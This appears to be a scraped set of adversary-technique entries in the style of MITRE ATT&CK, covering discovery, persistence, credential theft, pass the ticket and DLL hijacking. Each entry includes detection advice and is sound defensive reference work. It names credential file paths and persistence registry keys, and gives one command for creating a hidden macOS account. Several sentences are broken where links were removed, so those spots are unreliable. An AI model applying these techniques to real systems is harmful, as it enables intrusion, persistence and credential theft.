Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters
Security Software Discovery
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.
===Windows===
Example commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
===Mac===
It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Trap
The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.
Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Links |
Modify Existing Service
Windows service configuration information, including the file path to the service’s executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.
Look for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters
Links |
Standard Cryptographic Protocol
Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.
Some adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.
Detection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]
If malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection
Private Keys
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]
Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring
Contributors: Itzik Kotler, SafeBreach
Valid Accounts
Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.
The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]
Detection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Authentication logs, Process monitoring
Effective Permissions: User, Administrator
Links |
LC_MAIN Hijacking
As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
Detection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.
Platforms: MacOS, OS X
Data Sources: Binary file metadata, Malware reverse engineering, Process Monitoring
System Service Discovery
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, Process command-line parameters
Links |
System Owner/User Discovery
===Windows===
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Multiband Communication
Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Links |
Pass the Ticket
Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]
Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]
Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]
Detection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs
Contributors: Ryan Becwar
Links |
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos |
Windows Remote Management
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]
Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters
Links |
http://www.slideee.com/slide/lateral-movement-with-powershell |
Audio Capture
An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10
Data Sources: API monitoring, Process monitoring, File monitoring
Links |
Custom Cryptographic Protocol
Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.
Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]
Detection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Links |
https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf |
Graphical User Interface
Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.
Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions.
Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata
Links |
Fallback Channels
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring
Links |
Exploitation of Vulnerability
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]
Detection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Windows Error Reporting, File monitoring, Process monitoring
Effective Permissions: User, Administrator, SYSTEM
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx |
Hidden Users
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code>[[Citation: Cybereason OSX Pirrit]].
Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.
Platforms: MacOS, OS X
Data Sources: Authentication logs, File monitoring
Links |
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty |
Binary Padding
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.
When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information or [[Lateral Movement]], which could be used as event indicators that point to the source file.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Links |
Login Item
MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code>[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].
Detection: All the login items are viewable by going to the Apple menu → System Preferences → Users & Groups → Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.
Platforms: MacOS, OS X
Redundant Access
Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.
Detection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.
Detection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Data Encrypted
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol
Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software.
A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.
Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata
Links |
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf] |
DLL Search Order Hijacking
Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
Adversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
Detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters
Effective Permissions: User, Administrator, SYSTEM
Contributors: Stefan Kanthak
Data from Network Shared Drive
Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
AppInit DLLs
DLLs that are specified in the AppInit_DLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]
Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]]
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through , and conducting [[Lateral Movement]].
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Loaded DLLs, Process monitoring, Windows Registry
Effective Permissions: Administrator, SYSTEM
Links |
Standard Non-Application Layer Protocol
Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).
ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Detection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Links |
Plist Modification
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].
Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
Platforms: MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
Netsh Helper DLL
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]
Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]
Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: DLL monitoring, Windows Registry, Process monitoring
Contributors: Matthew Demaske, Adaptforward
Links |
Account Manipulation
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.
Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs, API monitoring, Windows event logs
Links |
https://docs.microsoft.com/windows/device-security/auditing/event-4738 |
Remote System Discovery
